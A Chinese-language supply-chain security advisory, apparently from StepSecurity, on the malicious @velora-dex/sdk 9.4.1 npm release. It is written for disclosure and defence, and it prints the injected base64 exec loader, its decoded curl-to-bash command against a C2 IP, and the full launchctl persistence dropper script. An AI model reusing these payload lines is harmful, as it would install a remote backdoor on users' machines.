npm平台@velora-dex/sdk遭入侵:恶意版本利用launchctl植入macOS后门

一场仅针对注册表(registry-only)的供应链攻击向 @velora-dex/sdk 投放了一个架构感知的 macOS 后门,该后门在代码导入包的瞬间即会触发。没有安装钩子、没有仓库提交、没有可见输出。

2026年4月7日,一个恶意版本的 @velora-dex/sdk(v9.4.1)被发布到 npm。VeloraDEX SDK 是一个用于在 VeloraDEX 去中心化交易平台上进行代币兑换限价单和 Delta 交易的 DeFi 工具包。被入侵的版本在 dist/index.js 中直接注入了代码,在包被导入时会立即执行。这里没有安装钩子:有效载荷在首次调用 require()import 时触发。

注入的代码从一个位于 89.36.224.5 的 C2 服务器下载一个 shell 脚本,该脚本会投放一个针对特定架构的 macOS 二进制文件,并使用 launchctl 将其注册为持久化服务。恶意构建直接发布到 npm 注册表,在 源代码仓库 中没有任何对应的提交。你可以在 StepSecurity AI 包分析器中找到更多详情,地址是 这里

此次入侵最初由 Aikido 的 Charlie Eriksen 在 GitHub 问题 #233 中报告。

需要采取的行动:​ 如果你已经安装了 @velora-dex/sdk@9.4.1,请将该机器以及所有可从该机器访问的密钥视为已泄露。立即将版本固定到 9.4.0 或更早版本,并轮换所有凭据。

攻击原理

第一步:仅针对注册表的代码注入

攻击者直接将 9.4.1 版本发布到 npm,而未对 GitHub 仓库进行任何更改。对比发布的 tarball,可以发现 9.4.09.4.1 之间只有两个文件存在差异:

  • package.json:版本号从 9.4.0 升级到 9.4.1
  • dist/index.js:在文件开头添加了三行恶意代码

没有 src/ 文件,其他 dist 文件(sdk.cjs.production.min.jssdk.esm.js 等)也未被修改。这是仅针对注册表的攻击的特征,恶意构建是在正常 CI/CD 流程之外制作和发布的。

第二步:dist/index.js 中的有效载荷注入

该包的 main 入口点(dist/index.js)在合法代码之前添加了三行代码:

javascript
'use strict' const {exec} = require('child_process'); exec(\`echo 'bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx' | (base64 --decode 2>/dev/null || base64 -D) | bash\`, function(error, stdout, stderr) {});

这段代码在任何代码调用 require('@velora-dex/sdk') 时立即触发。与许多依赖 postinstall 钩子(可通过 --ignore-scripts 禁用)的 npm 供应链攻击不同,这个有效载荷在导入时执行,使其更难被规避。

Base64 解码后的内容为:

javascript
nohup bash -c "$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)" > /dev/null 2>&1

关键细节:

  • nohup 使进程与父进程分离,因此即使 Node.js 进程退出也能继续运行
  • curl -fsSL 静默下载,跟随重定向
  • > /dev/null 2>&1 抑制所有输出,因此用户看不到任何内容
  • (base64 --decode 2>/dev/null || base64 -D) 模式可处理 Linux(--decode)和 macOS(-D)的 base64 实现

第三步:install.sh 有效载荷

StepSecurity 的 Harden-Runner 通过流程事件监控在受控分析运行期间捕获了完整的 install.sh 脚本。以下是完整的有效载荷:

javascript
TERMINAL_DIR="$HOME/Library/Application Support/com.apple.Terminal" PROFILER_PATH="$TERMINAL_DIR/profiler" mkdir -p "$TERMINAL_DIR" if [[ "$(uname)" == "Darwin" ]]; then if [[ "$(uname -m)" == "arm64" ]]; then curl -fso "$PROFILER_PATH" http://89.36.224.5/mac/arm/driver/profiler else curl -fso "$PROFILER_PATH" http://89.36.224.5/mac/intel/driver/profiler fi fi chmod +x "$PROFILER_PATH" launchctl submit -l zsh.profiler -- "$PROFILER_PATH"

该恶意软件采用了多种规避技术:

  • 路径伪装:​ 二进制文件被放置在 ~/Library/Application Support/com.apple.Terminal/,这是一个模仿合法 macOS Terminal 应用程序支持目录的路径。人工审查文件系统时很可能会忽略它。
  • 二进制文件命名:​ 投放的文件名为 profiler,这是一个与系统工具名称融合的通用名称。
  • 架构感知投放:​ 为 Apple Silicon(ARM64)和 Intel(x86_64)Mac 提供不同的二进制文件,确保恶意软件在两种架构上原生运行,无需 Rosetta 转换开销。
  • launchctl 持久化:​ launchctl submit -l zsh.profiler 命令将二进制文件注册为持久化的 macOS 服务。它将在重启后继续运行,并以当前用户身份运行,无需提升权限。
  • 仅 Darwin 执行:​ uname 检查确保二进制文件下载仅在 macOS 上发生。在 Linux CI 运行器(如 GitHub Actions)上,脚本会运行但会跳过 if 块,这意味着不会下载二进制文件,但当 curl 获取 install.sh 时仍会建立与 89.36.224.5 的 C2 连接。

使用 StepSecurity Harden-Runner 进行运行时验证

StepSecurity 在受控 GitHub Actions 环境中以审计模式运行了被入侵的包,使用了 Harden-Runner。这捕获了完整的杀伤链:网络连接、进程树和文件系统活动。

https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/24107839213?tab=network-events&jobId=70335366307

网络事件:C2 连接已确认

Harden-Runner 在 install-compromised-package 作业期间记录了以下网络活动:

步骤目标地址端口进程
安装被入侵的包registry.npmjs.org443npm(PID 2362)
导入包以触发运行时有效载荷89.36.224.580curl(PID 2391)

第一行是预期的:npm install 从注册表下载包。第二行是恶意的 C2 连接:curl 通过明文 HTTP 连接到 89.36.224.5 以下载 install.sh 投放器。此连接发生在 require() 调用期间,而非安装期间,确认了导入时触发。

进程树:完整杀伤链

Harden-Runner 的进程监控捕获了攻击期间产生的每个进程。以下是从 require() 调用到最终持久化尝试的完整链条:

javascript
node (PID 2379) // require('@velora-dex/sdk') /bin/sh (PID 2386) echo '...' | base64 --decode | bash base64 (PID 2390) --decode bash (PID 2389) curl (PID 2391) -fsSL http://89.36.224.5/troubleshoot/mac/install.sh nohup bash (PID 2393) // executes install.sh mkdir (PID 2394) -p ~/Library/Application Support/com.apple.Terminal uname (PID 2395) // checks for Darwin (macOS) chmod (PID 2396) +x .../profiler

进程树中的值得注意的观察:

  • 从导入到持久化尝试的总时间:​ 约 330 毫秒(PID 2379 在 22:38:50.529 到 PID 2396 在 22:38:50.888)
  • nohup 被用于将恶意软件执行从父 Node.js 进程分离,确保即使导入脚本退出也能继续运行
  • 在 Linux CI 运行器上,uname 返回 Linux(而非 Darwin),因此跳过了二进制文件下载,但目录创建和 chmod 仍被执行

查看此运行的完整 Harden-Runner 分析:Harden-Runner 分析仪表板

⛔ curl http://89.36.224.5/troubleshoot/mac/install.sh → 已阻止

这就是 Harden-Runner 的作用

GitHub Actions 的实时网络出口监控。如果 C2 对 89.36.224.5 的回调在恶意软件能够下载二进制文件或建立持久化之前被检测到并阻止,攻击将被终止。

在 GitHub 上查看 → 开始免费使用 →

入侵指标

  • C2 IP:​ 89.36.224.5
  • C2 URL:​
    • http://89.36.224.5/troubleshoot/mac/install.sh
      • http://89.36.224.5/mac/arm/driver/profiler(ARM64 二进制文件)
      • http://89.36.224.5/mac/intel/driver/profiler(Intel 二进制文件)
  • 文件系统痕迹:​ ~/Library/Application Support/com.apple.Terminal/profiler
  • 持久化机制:​ 名为 zsh.profilerlaunchctl 服务
  • 被入侵的 npm 包:​ @velora-dex/sdk@9.4.1
  • Base64 有效载荷:​ bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx

我是否受到影响?

代码仓库

在你的组织中搜索所有 PR 和默认分支中的被入侵版本:

在你的组织中搜索 @velora-dex/sdk@9.4.1 →

你也可以直接在代码库中搜索:

javascript
# Search for the compromised version in lockfiles grep -r "velora-dex/sdk" --include="package-lock.json" --include="yarn.lock" --include="pnpm-lock.yaml" . # Check if version 9.4.1 is installed npm list @velora-dex/sdk 2>/dev/null | grep 9.4.1

CI/CD 流水线

检查你的 Harden-Runner 组织基线中是否有指向 C2 服务器的任何出站连接:

检查基线中是否有指向 89.36.224.5 的连接 →

如果 89.36.224.5 出现在你的基线中,则被入侵的包在你的某个工作流运行中被导入,并成功联系了 C2 服务器。

开发人员机器

在 macOS 机器上检查恶意软件:

javascript
# Check for the dropped binary ls -la ~/Library/Application\ Support/com.apple.Terminal/profiler # Check for the launchctl service launchctl list | grep zsh.profiler # Check npm cache for the compromised version find ~/.npm/_cacache -name "*.tgz" 2>/dev/null | xargs strings 2>/dev/null | grep "89.36.224.5"

如果你使用 StepSecurity Developer MDM,你可以搜索该包在你的所有已注册开发人员机器上的情况:

在开发人员机器上搜索 @velora-dex/sdk@9.4.1 →

恢复步骤

1. 固定到安全版本

javascript
npm install @velora-dex/sdk@9.4.0

2. 删除恶意软件(macOS)

如果被入侵版本在 macOS 机器上被安装或导入,请删除投放的二进制文件和持久化机制:

javascript
# Stop and remove the persistent service launchctl remove zsh.profiler # Remove the dropped binary rm -rf ~/Library/Application\ Support/com.apple.Terminal/profiler # Remove the entire fake directory if empty rmdir ~/Library/Application\ Support/com.apple.Terminal 2>/dev/null

3. 轮换凭据

将安装时存在于机器上的任何密钥视为已泄露。这包括:

  • npm 令牌和 GitHub 个人访问令牌
  • SSH 密钥(~/.ssh/
  • 云提供商凭据(AWS、GCP、Azure)
  • 包含 API 密钥的环境变量
  • 浏览器存储的密码和 Cookie
  • 加密货币钱包密钥和助记词

4. 审查网络日志

检查防火墙或代理日志中是否有指向 89.36.224.5 的出站连接。任何指向该 IP 的连接都确认恶意软件已执行,可能已下载其他有效载荷。

纵深防御:StepSecurity 如何防范此类攻击

使用 Harden-Runner 阻止 C2 流量

Harden-Runner 监控 GitHub Actions 运行器的所有出站网络连接。在 block 模式下,它会阻止 curl 调用 89.36.224.5 成功,从而在二进制文件被下载之前阻止攻击。

在合并前捕获:Package Cooldown

npm Package Cooldown 检查 阻止新发布的包版本在拉取请求中被采用,直到经过可配置的等待期。如果某个 PR 引入了升级到 @velora-dex/sdk@9.4.1,该检查会将其标记为太新而不可信。

阻止已知恶意包

npm 被入侵包检查 维护已知恶意包数据库,并阻止它们在拉取请求中被引入。StepSecurity 已将 @velora-dex/sdk@9.4.1 添加到此列表。

发现受影响的开发人员机器

StepSecurity Developer MDM 提供对你的组织中开发人员机器上安装的 npm 包的可见性,使你能够在泄露披露后几分钟内识别受影响的机器。

参考资料